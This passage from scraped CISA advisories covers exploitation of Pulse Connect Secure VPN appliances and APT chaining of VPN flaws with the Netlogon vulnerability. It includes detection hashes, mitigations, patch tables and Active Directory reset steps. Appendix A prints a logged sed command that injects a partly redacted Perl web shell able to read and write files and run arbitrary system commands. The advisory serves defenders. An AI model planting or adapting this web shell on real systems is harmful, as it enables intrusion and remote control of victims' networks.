dataset and the information is provided for context only. Analytical conclusions should not be made solely based on this reporting. The prevalence of a JA3 hash observed in an environment would need to be further evaluated.\n\n_Table 2: JA3 MD5 hashes and associated prevalence/user-agent_\n\nJA3 Hash | User-Agent | Prevalence \n---|---|--- \n \n227ab2ae6ed6abcc249e8a873a033144\n\n| Firefox (~68-71) | very rare \n \n30017f6f809155387cbcf95be6e7225d\n\n| (UA header frequently not set) | rare \n \n3cbc88eabdac9af71445f9040a6cf46c\n\n| Chrome (~50-57) | very rare \n \n53829d58e2631a372bb4de1be2cbecca\n\n| Chrome (~51-81) | rare \n \n714cdf6e462870e2b85d251a3b22064b\n\n| Firefox (~65-68) | very rare \n \n86cb13d6bbb3ac96b78b408bcfc18794\n\n| Python-requests, many others | common (but rare when used with pulse secure) \n \n8f6747b71d1003df1b7e3e8232b1a7e3\n\n| Chrome (~89) | rare \n \n916e458922ae9a1bab6b1154689c7de7\n\n| Firefox (~60-86) | very rare \n \na29d0d294a6236b5bf0ec2573dd4f02f\n\n| Firefox (~77-87), Chrome (~78-90), others | very rare \n \naf26ba5e85475b634275141e6ed3dc54\n\n| Python-requests, many others | rare \n \nb592adaa596bb72a5c1ccdbecae52e3f\n\n| Chrome (~79-90) | rare \n \nc12f54a3f91dc7bafd92cb59fe009a35\n\n| Office, many others | very rare \n \n### Mitigations\n\n**(_Updated May 3, 2021_)** CISA strongly urges organizations using Pulse Secure devices to immediately:\n\n * Review the [Pulse Secure Connect Integrity Tool Quick Start Guide](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) and [Customer FAQs](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44764>)\n * Run the [Pulse Secure Connect Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>). \n * The tool requires a reboot.\n * If virtualized, take a snapshot before running.\n * If the appliance is physical, consider the consequences of rebooting and running the tool and contact Ivanti for assistance or questions.\n * **(_Updated May 3, 2021_)** ~~Continue to run the tool daily until the XML mitigations have been implemented or the patch has been deployed.~~ **Note:** the Pulse Secure team released [Security Advisory SA44784](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/SA44784/>) that addresses [CVE-2021-22893](<https://vulners.com/cve/CVE-2021-22893>), CVE-2021-22984, CVE-2021-22899, and CVE-2021-22900 with patches.\n * ~~Implement the mitigations released by the vendor. According Ivanti Pulse Secure, the interim XML configurations listed in the \"Workaround\" section of [SA44784 - 2021-04: Out-of-Cycle Advisory: Pulse Connect Secure RCE Vulnerability (CVE-2021-22893)](<https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/SA44784/s>) provide significant protection against threat actor activity.~~\n * **(_Updated May 3, 2021_)** Update to the latest software version.~~, per the process outlined on Ivanti Pulse Secure\u2019s website which contains security enhancements.~~\n * _**(Updated May 27, 2021)**_ Using the Pulse Secure Integrity Checker. The Integrity Checker Tool (ICT) helps system owners understand if their Pulse Secure Connect device has been compromised. While the tool is accurate, there are several nuances to its effective use. \n * The ICT detects evidence of adversary cleanup only on the current, running version of PCS.\n * It may be necessary to roll back the current PCS version to have a valid run of the ICT.\n * During the upgrade process, the active version becomes a rollback partition.\n * Only one rollback partition exists on a device, as the rollback partition is replaced on each update.\n * Therefore, if an entity has updated their PCS device without running the correct version of the ICT (as outlined in Appendix B), anomalous activity will not be detected. \n\n\nIf the Integrity Checker Tools finds mismatched or unauthorized files, CISA urges organizations to:\n\n * Contact CISA to report your findings (see Contact Information section below).\n * Contact [Ivanti Pulse Secure](<https://support.pulsesecure.net/support/support-contacts/>) for assistance in capturing forensic information.\n * Review \u201cUnauthenticated Web Requests\u201d log for evidence of exploitation, if enabled.\n * Change all passwords associated with accounts passing through the Pulse Secure environment (including user accounts, service accounts, administrative accounts and any accounts that could be modified by any account described above, all of these accounts should be assumed to be compromised). **Note: **Unless an exhaustive password reset occurs, factory resetting a Pulse Connect Secure appliance (see Step 3 below) will only remove malicious code from the device, and may not remove the threat actor from the environment. The threat actor may use the credentials harvested to regain access even after the appliance is fully patched.\n * Review logs for any unauthorized authentications originating from the Pulse Connect Secure appliance IP address or the DHCP lease range of the Pulse Connect Secure appliance's VPN lease pool.\n * _**(Updated May 27, 2021)** _**Note: **adversary activity may not be easily identifiable on your network as it may appear as a normal user traffic. If a device has been compromised, entities should take all precautions as if the adversary has intruded past the device into your network and take steps to ensure there are no further signs of an intrusion into networks that include: \n * Look for unauthorized applications and scheduled tasks in environments. \n * Ensure no new administrators were created.\n * Ensure non-privileged users were not added to privileged groups.\n * Scrutinize and monitor all accounts with domain administrator privileges. \n * Monitor domain administrator accounts to ensure they are only accessing the part of the network they are authorized to access. \n * Check all accounts should be checked to ensure they have the proper level of privileges and have not been altered such as increased privileges. \n * Remove any remote access programs not approved by the organization.\n * Carefully inspect scheduled tasks for scripts or executables that may allow a threat actor to connect to an environment.\n\nIn addition to the recommendations above, organizations that find evidence of malicious, suspicious, or anomalous activity or files, should consider the guidance in [KB44764 - Customer FAQ: PCS Security Integrity Tool Enhancements](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44764>), which includes:\n\nAfter preservation, you can remediate your Pulse Connect Secure appliance by: \n\n 1. Disabling the external-facing interface. \n 2. Saving the system and user config.\n 3. Performing a factory reset via the Serial Console. **Note: **For more information refer to [KB22964](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB22964/?kA1j0000000FjFj>) (How to reset a PCS device to the factory default setting via the serial console)\n 4. Updating the appliance to the newest version.\n 5. Re-importing the saved config. \n 6. Re-enabling the external interface. \n\nCISA recommends performing checks to ensure any infection is remediated, even if the workstation or host has been reimaged. These checks should include running the [Pulse Secure Connect Integrity Tool](<https://kb.pulsesecure.net/articles/Pulse_Secure_Article/KB44755>) again after remediation has been taken place.\n\nCISA would like to thank Ivanti for their contributions to this Alert.\n\n### Contact Information\n\nCISA encourages recipients of this report to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact CISA at\n\n * 1-888-282-0870 (From outside the United States: +1-703-235-8832)\n * [central@cisa.dhs.gov ](<mailto:Central@cisa.dhs.gov>)(UNCLASS)\n * us-cert@dhs.sgov.gov (SIPRNET)\n * us-cert@dhs.ic.gov (JWICS)\n\nCISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on the CISA/US-CERT homepage at <http://www.us-cert.cisa.gov/>.\n\n### Appendix A: Large sed Command Found In Unauthenticated Logs\n\n`Unauthenticated request url /dana-na/[redacted]?id=sed%20-i%20%22/main();/cuse%20MIME::Base64;use%20Crypt::RC4;my%20[redacted];sub%20r{my%20\\$n=\\$_[0];my%20\\$rs;for%20(my%20\\$i=0;\\$i%3C\\$n;\\$i++){my%20\\$n1=int(rand(256));\\$rs.=chr(\\$n1);}return%20\\$rs;}sub%20a{my%20\\$st=\\$_[0];my%20\\$k=r([redacted]);my%20\\$en%20=%20RC4(%20\\$k.\\$ph,%20\\$st);return%20encode_base64(\\$k.\\$en);}sub%20b{my%20\\$s=%20decode_base64(\\$_[0]);%20my%20\\$l=length(\\$s);my%20\\$k=%20substr(\\$s,0,[redacted]);my%20\\$en=substr(\\$s,[redacted],\\$l-[redacted]);my%20\\$de%20=%20RC4(%20\\$k.\\$ph,%20\\$en%20);return%20\\$de;}sub%20c{my%20\\$fi=CGI::param(%27img%27);my%20\\$FN=b(\\$fi);my%20\\$fd;print%20\\%22Content-type:%20application/x-download\\\\n\\%22;open(*FILE,%20\\%22%3C\\$FN\\%22%20);while(%3CFILE%3E){\\$fd=\\$fd.\\$_;}close(*FILE);print%20\\%22Content-Disposition:%20attachment;%20filename=tmp\\\\n\\\\n\\%22;print%20a(\\$fd);}sub%20d{print%20\\%22Cache-Control:%20no-cache\\\\n\\%22;print%20\\%22Content-type:%20text/html\\\\n\\\\n\\%22;my%20\\$fi%20=%20CGI::param(%27cert%27);\\$fi=b(\\$fi);my%20\\$pa=CGI::param(%27md5%27);\\$pa=b(\\$pa);open%20(*outfile,%20\\%22%3E\\$pa\\%22);print%20outfile%20\\$fi;close%20(*outfile);}sub%20e{print%20\\%22Cache-Control:%20no-cache\\\\n\\%22;print%20\\%22Content-type:%20image/gif\\\\n\\\\n\\%22;my%20\\$na=CGI::param(%27name%27);\\$na=b(\\$na);my%20\\$rt;if%20(!\\$na%20or%20\\$na%20eq%20\\%22cd\\%22)%20{\\$rt=\\%22Error%20404\\%22;}else%20{my%20\\$ot=\\%22/tmp/1\\%22;system(\\%22\\$na%20%3E/tmp/1%202%3E&1\\%22);open(*cmd_result,\\%22%3C\\$ot\\%22);while(%3Ccmd_result%3E){\\$rt=\\$rt.\\$_;}close(*cmd_result);unlink%20\\$ot}%20%20print%20a(\\$rt);}sub%20f{if(CGI::param(%27cert%27)){d();}elsif(CGI::param(%27img%27)%20and%20CGI::param(%27name%27)){c();}elsif(CGI::param(%27name%27)%20and%20CGI::param(%27img%27)%20eq%20\\%22\\%22){e();}else{%20%20%20&main();}}if%20(\\$ENV{%27REQUEST_METHOD%27}%20eq%20\\%22POST\\%22){%20%20f();}else{&main();%20}%22%20/home/webserver/htdocs/dana-na/[redacted] came from IP XX.XX.XX.XX`\n\n### Appendix B: ICT Releases\n\n_Table 3: ICT Releases \u2013 releases are cumulative_\n\n**Release Package ** | **Supported Versions (n+1 always supports nth versions)** | Release Date \n---|---|--- \npackage-integrity-checker-11951.1.pkg | \n\n * 8.3R7.1 (build 65025)\n * 9.1R7 (build 6567)\n * 9.1R8 (build 7453)\n * 9.1R8.1 (build 7851)\n * 9.1R8.2 (build 8511)\n * 9.1R9 (build 9189)\n * 9.1R9.1 (build 9701)\n * 9.1R10 (build 10119)\n * 9.1R11 (build 11161)\n * 9.1R11.1 (build 11915)\n| 3/31/2021 (ICTv1 released to public on 3/31/2021) *Initial build \npackage-integrity-checker-12255.1.pkg | \n\n * 9.1R8.4 (build 12177)\n * 9.1R9.2 (build 12181)\n * 9.1R10.2 (build 12179)\n * 9.1R11.3 (build 12173)\n * 9.1R1(build 1505)\n * 9.1R2 (build 2331) \n * 9.1R3 (build 3535)\n * 9.1R4 (build 4763)\n * 9.1R4.1 (build 4967)\n * 9.1R4.2 (build 5035)\n * 9.1R4.3 (build 5185)\n * 9.1R5 (build 5459)\n * 9.1R6 (build 5801)\n| 4/17/2021 (ICTv2 released to public on 4/18/2021) \npackage-integrity-checker-12363.1.pkg | \n\n * 9.1R11.3:HF1(build 12235)\n * 9.1R9.1HF1 (build 10625.1)\n * 9.1R11.1HF1(build 12049.1)\n * 9.1R11.4 (build 12319)\n| 5/3/2021 (ICTv3 released to public on 5/3/2021) \n \n### References\n\n[FireEye blog: Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day](<https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html>)\n\n[CERT/CC Vulnerability Note VU#213092 Pulse Connect Secure vulnerable to authentication bypass](<https://www.kb.cert.org/vuls/id/213092>)\n\n### Revisions\n\nApril 20, 2021: Initial version|April 21, 2021: Added CERT/CC Vulnerability Note to References|April 26, 2021: Added IOC STIX File|April 30, 2021: Replaced IOC STIX File; Added new Detection Section|May 3, 2021: Added Ivanti Security Update Information|May 27, 2021: Added additional technical details and Appendix B|July 21, 2021: Added update note directing reader to review new Malware Analysis Reports|August 3, 2021: Added bulleted list of July 21 MARs|August 11, 2021: Added Ivanti Security Update Information|August 24, 2021: Added new Malware Analysis Reports\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-08-24T12:00:00", "type": "ics", "title": "Exploitation of Pulse Connect Secure Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22984"], "modified": "2021-08-24T12:00:00", "id": "AA21-110A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-110a", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:34:11", "description": "### Summary\n\n_This joint cybersecurity advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v7/matrices/enterprise/>) framework for all referenced threat actor techniques._\n\n**Note:** the analysis in this joint cybersecurity advisory is ongoing, and the information provided should not be considered comprehensive. The Cybersecurity and Infrastructure Security Agency (CISA) will update this advisory as new information is available.\n\nThis joint cybersecurity advisory was written by CISA with contributions from the Federal Bureau of Investigation (FBI). \n\nCISA has recently observed advanced persistent threat (APT) actors exploiting multiple legacy vulnerabilities in combination with a newer privilege escalation vulnerability\u2014[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\u2014in Windows Netlogon. The commonly used tactic, known as vulnerability chaining, exploits multiple vulnerabilities in the course of a single intrusion to compromise a network or application. \n\nThis recent malicious activity has often, but not exclusively, been directed at federal and state, local, tribal, and territorial (SLTT) government networks. Although it does not appear these targets are being selected because of their proximity to elections information, there may be some risk to elections information housed on government networks.\n\nCISA is aware of some instances where this activity resulted in unauthorized access to elections support systems; however, CISA has no evidence to date that integrity of elections data has been compromised. There are steps that election officials, their supporting SLTT IT staff, and vendors can take to help defend against this malicious cyber activity.\n\nSome common tactics, techniques, and procedures (TTPs) used by APT actors include leveraging legacy network access and virtual private network (VPN) vulnerabilities in association with the recent critical [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) Netlogon vulnerability. CISA is aware of multiple cases where the Fortinet FortiOS Secure Socket Layer (SSL) VPN vulnerability [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) has been exploited to gain access to networks. To a lesser extent, CISA has also observed threat actors exploiting the MobileIron vulnerability [CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>). While these exploits have been observed recently, this activity is ongoing and still unfolding.\n\nAfter gaining initial access, the actors exploit [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) to compromise all Active Directory (AD) identity services. Actors have then been observed using legitimate remote access tools, such as VPN and Remote Desktop Protocol (RDP), to access the environment with the compromised credentials. Observed activity targets multiple sectors and is not limited to SLTT entities.\n\nCISA recommends network staff and administrators review internet-facing infrastructure for these and similar vulnerabilities that have or could be exploited to a similar effect, including Juniper [CVE-2020-1631](<https://nvd.nist.gov/vuln/detail/CVE-2020-1631>), Pulse Secure [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), Citrix NetScaler [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>), and Palo Alto Networks [CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>) (this list is not considered exhaustive).\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\n### Initial Access\n\nAPT threat actors are actively leveraging legacy vulnerabilities in internet-facing infrastructure (_Exploit Public-Facing Application_ [[T1190](<https://attack.mitre.org/versions/v7/techniques/T1190/>)], _External Remote Services_ [[T1133](<https://attack.mitre.org/versions/v7/techniques/T1133/>)]) to gain initial access into systems. The APT actors appear to have predominately gained initial access via the Fortinet FortiOS VPN vulnerability [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>).\n\nAlthough not observed in this campaign, other vulnerabilities, listed below, could be used to gain network access (as analysis is evolving, these listed vulnerabilities should not be considered comprehensive). As a best practice, it is critical to patch all known vulnerabilities within internet-facing infrastructure.\n\n * Citrix NetScaler [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n * MobileIron [CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>)\n * Pulse Secure [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n * Palo Alto Networks [CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>)\n * F5 BIG-IP [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)\n\n#### Fortinet FortiOS SSL VPN CVE-2018-13379\n\n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) is a path traversal vulnerability in the FortiOS SSL VPN web portal. An unauthenticated attacker could exploit this vulnerability to download FortiOS system files through specially crafted HTTP resource requests.[[1](<https://www.fortiguard.com/psirt/FG-IR-18-384>)]\n\n### MobileIron Core & Connector Vulnerability CVE-2020-15505\n\n[CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) is a remote code execution vulnerability in MobileIron Core & Connector versions 10.3 and earlier.[[2](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>)] This vulnerability allows an external attacker, with no privileges, to execute code of their choice on the vulnerable system. As mobile device management (MDM) systems are critical to configuration management for external devices, they are usually highly permissioned and make a valuable target for threat actors.\n\n### Privilege Escalation\n\nPost initial access, the APT actors use multiple techniques to expand access to the environment. The actors are leveraging [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) in Windows Netlogon to escalate privileges and obtain access to Windows AD servers. Actors are also leveraging the opensource tools such as Mimikatz and the CrackMapExec tool to obtain valid account credentials from AD servers (_Valid Accounts_ [[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078/>)]).\n\n#### Microsoft Netlogon Remote Protocol Vulnerability: CVE-2020-1472\n\n[CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) is a vulnerability in Microsoft Windows Netlogon Remote Protocol (MS-NRPC), a core authentication component of Active Directory.[[3](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>)] This vulnerability could allow an unauthenticated attacker with network access to a domain controller to completely compromise all AD identity services (_Valid Accounts: Domain Accounts_ [[T1078.002](<https://attack.mitre.org/versions/v7/techniques/T1078/002/>)]). Malicious actors can leverage this vulnerability to compromise other devices on the network (_Lateral Movement_ [[TA0008](<https://attack.mitre.org/versions/v7/tactics/TA0008/>)]).\n\n### Persistence\n\nOnce system access has been achieved, the APT actors use abuse of legitimate credentials (_Valid Accounts _[[T1078](<https://attack.mitre.org/versions/v7/techniques/T1078/>)]) to log in via VPN or remote access services _(External Remote Services_ [[T1133](<https://attack.mitre.org/versions/v7/techniques/T1133/>)]) to maintain persistence.\n\n### Mitigations\n\nOrganizations with externally facing infrastructure devices that have the vulnerabilities listed in this joint cybersecurity advisory, or other vulnerabilities, should move forward with an \u201cassume breach\u201d mentality. As initial exploitation and escalation may be the only observable exploitation activity, most mitigations will need to focus on more traditional network hygiene and user management activities.\n\n### Keep Systems Up to Date\n\nPatch systems and equipment promptly and diligently. Establishing and consistently maintaining a thorough patching cycle continues to be the best defense against adversary TTPs. See table 1 for patch information on CVEs mentioned in this report.\n\n_Table 1: Patch information for CVEs_\n\n**Vulnerability** | **Vulnerable Products** | **Patch Information** \n---|---|--- \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) | \n\n * FortiOS 6.0: 6.0.0 to 6.0.4\n * FortiOS 5.6: 5.6.3 to 5.6.7\n * FortiOS 5.4: 5.4.6 to 5.4.12\n| \n\n * [Fortinet Security Advisory: FG-IR-18-384](<https://www.fortiguard.com/psirt/FG-IR-18-384>) \n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) | \n\n * Citrix Application Delivery Controller\n * Citrix Gateway\n * Citrix SDWAN WANOP\n| \n\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 11.1 and 12.0 ](<https://www.citrix.com/blogs/2020/01/19/vulnerability-update-first-permanent-fixes-available-timeline-accelerated/>)\n * [Citrix blog post: security updates for Citrix SD-WAN WANOP release 10.2.6 and 11.0.3](<https://www.citrix.com/blogs/2020/01/22/update-on-cve-2019-19781-fixes-now-available-for-citrix-sd-wan-wanop/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway versions 12.1 and 13.0](<https://www.citrix.com/blogs/2020/01/23/fixes-now-available-for-citrix-adc-citrix-gateway-versions-12-1-and-13-0/>)\n * [Citrix blog post: firmware updates for Citrix ADC and Citrix Gateway version 10.5](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>) \n[CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) | \n\n * Big-IP devices (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT)\n| \n\n * [F5 Security Advisory: K52145254: TMUI RCE vulnerability CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) | \n\n * Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15\n * Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n| \n\n * [Pulse Secure Out-of-Cycle Advisory: Multiple vulnerabilities resolved in Pulse Connect Secure / Pulse Policy Secure 9.0RX](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>) \n[CVE-2020-15505](<https://nvd.nist.gov/vuln/detail/CVE-2020-15505>) | \n\n * MobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0 and 10.6.0.0 \n * Sentry versions 9.7.2 and earlier, and 9.8.0; \n * Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier\n| \n\n * [MobileIron Blog: MobileIron Security Updates Available](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>) \n[CVE-2020-1631](<https://nvd.nist.gov/vuln/detail/CVE-2020-1631>) | \n\n * Junos OS 12.3, 12.3X48, 14.1X53, 15.1, 15.1X49, 15.1X53, 17.2, 17.3, 17.4, 18.1, 18.2, 18.3, 18.4, 19.1, 19.2, 19.3, 19.4, 20.1\n| \n\n * [Juniper Security Advisory JSA11021](<https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11021>) \n[CVE-2020-2021](<https://nvd.nist.gov/vuln/detail/CVE-2020-2021>) | \n\n * PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL)\n| \n\n * [Palo Alto Networks Security Advisory for CVE-2020-2021](<https://security.paloaltonetworks.com/CVE-2020-2021>) \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) | \n\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1\n * Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)\n * Windows Server 2012\n * Windows Server 2012 (Server Core installation)\n * Windows Server 2012 R2\n * Windows Server 2016\n * Windows Server 2019\n * Windows Server 2019 (Server Core installation)\n * Windows Server, version 1903 (Server Core installation)\n * Windows Server, version 1909 (Server Core installation)\n * Windows Server, version 2004 (Server Core installation)\n| \n\n * [Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) \n \n### Comprehensive Account Resets\n\nIf there is an observation of [CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) Netlogon activity or other indications of valid credential abuse detected, it should be assumed the APT actors have compromised AD administrative accounts, the AD forest should not be fully trusted, and, therefore, a new forest should be deployed. Existing hosts from the old compromised forest cannot be migrated in without being rebuilt and rejoined to the new domain, but migration may be done through \u201ccreative destruction,\u201d wherein as endpoints in the legacy forest are decommissioned, new ones can be built in the new forest. This will need to be completed on on-premise as well as Azure-hosted AD instances.\n\nNote that fully resetting an AD forest is difficult and complex; it is best done with the assistance of personnel who have successfully completed the task previously.\n\nIt is critical to perform a full password reset on all user and computer accounts in the AD forest. Use the following steps as a guide.\n\n 1. Create a temporary administrator account, and use this account only for all administrative actions\n 2. Reset the Kerberos Ticket Granting Ticket (`krbtgt`) password [[4](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)]; this must be completed before any additional actions (a second reset will take place in step 5)\n 3. Wait for the krbtgt reset to propagate to all domain controllers (time may vary)\n 4. Reset all account passwords (passwords should be 15 characters or more and randomly assigned): \n\n 1. User accounts (forced reset with no legacy password reuse)\n 2. Local accounts on hosts (including local accounts not covered by Local Administrator Password Solution [LAPS])\n 3. Service accounts\n 4. Directory Services Restore Mode (DSRM) account\n 5. Domain Controller machine account\n 6. Application passwords\n 5. Reset the `krbtgt` password again\n 6. Wait for the `krbtgt` reset to propagate to all domain controllers (time may vary)\n 7. Reboot domain controllers\n 8. Reboot all endpoints\n\nThe following accounts should be reset:\n\n * AD Kerberos Authentication Master (2x)\n * All Active Directory Accounts\n * All Active Directory Admin Accounts\n * All Active Directory Service Accounts\n * All Active Directory User Accounts\n * DSRM Account on Domain Controllers\n * Non-AD Privileged Application Accounts\n * Non-AD Unprivileged Application Accounts\n * Non-Windows Privileged Accounts\n * Non-Windows User Accounts\n * Windows Computer Accounts\n * Windows Local Admin\n\n### CVE-2020-1472\n\nTo secure your organization\u2019s Netlogon channel connections:\n\n * **Update all Domain Controllers and Read Only Domain Controllers**. On August 11, 2020, Microsoft released [software updates](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>) to mitigate CVE-2020-1472. Applying this update to domain controllers is currently the only mitigation to this vulnerability (aside from removing affected domain controllers from the network).\n * **Monitor for new events, and address non-compliant devices** that are using vulnerable Netlogon secure channel connections.\n * **Block public access to potentially vulnerable ports**, such as 445 (Server Message Block [SMB]) and 135 (Remote Procedure Call [RPC]).\n\nTo protect your organization against this CVE, follow [advice from Microsoft](<https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc>), including:\n\n * Update your domain controllers with an update released August 11, 2020, or later.\n * Find which devices are making vulnerable connections by monitoring event logs.\n * Address non-compliant devices making vulnerable connections.\n * Enable enforcement mode to address [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) in your environment.\n\n### VPN Vulnerabilities\n\nImplement the following recommendations to secure your organization\u2019s VPNs:\n\n * **Update VPNs, network infrastructure devices, and devices **being used to remote into work environments with the latest software patches and security configurations. See CISA Tips [Understanding Patches and Software Updates](<https://us-cert.cisa.gov/ncas/tips/ST04-006>) and [Securing Network Infrastructure Devices](<https://us-cert.cisa.gov/ncas/tips/ST18-001>). Wherever possible, enable automatic updates. See table 1 for patch information on VPN-related CVEs mentioned in this report.\n * **Implement multi-factor authentication (MFA) on all VPN connections to increase security**. Physical security tokens are the most secure form of MFA, followed by authenticator app-based MFA. SMS and email-based MFA should only be used when no other forms are available. If MFA is not implemented, require teleworkers to use strong passwords. See CISA Tips [Choosing and Protecting Passwords](<https://us-cert.cisa.gov/ncas/tips/ST04-002>) and [Supplementing Passwords](<https://us-cert.cisa.gov/ncas/tips/ST05-012>) for more information.\n\nDiscontinue unused VPN servers. Reduce your organization\u2019s attack surface by discontinuing unused VPN servers, which may act as a point of entry for attackers. To protect your organization against VPN vulnerabilities:\n\n * **Audit **configuration and patch management programs.\n * **Monitor** network traffic for unexpected and unapproved protocols, especially outbound to the internet (e.g., Secure Shell [SSH], SMB, RDP).\n * **Implement **MFA, especially for privileged accounts.\n * **Use **separate administrative accounts on separate administration workstations.\n * **Keep **[software up to date](<https://us-cert.cisa.gov/ncas/tips/ST04-006>). Enable automatic updates, if available. \n\n### How to uncover and mitigate malicious activity\n\n * **Collect and remove** for further analysis: \n * Relevant artifacts, logs, and data.\n * **Implement **mitigation steps that avoid tipping off the adversary that their presence in the network has been discovered.\n * **Consider **soliciting incident response support from a third-party IT security organization to: \n * Provide subject matter expertise and technical support to the incident response.\n * Ensure that the actor is eradicated from the network.\n * Avoid residual issues that could result in follow-up compromises once the incident is closed.\n\n### Resources\n\n * [CISA VPN-Related Guidance](<https://www.cisa.gov/vpn-related-guidance>)\n * CISA Infographic: [Risk Vulnerability And Assessment (RVA) Mapped to the MITRE ATT&CK FRAMEWORK](<https://www.cisa.gov/sites/default/files/publications/Risk and Vulnerability Assessment %28RVA%29 Mapped to the MITRE ATT%26amp%3BCK Framework Infographic_v6-100620_ 508.pdf>)\n * National Security Agency InfoSheet: [Configuring IPsec Virtual Private 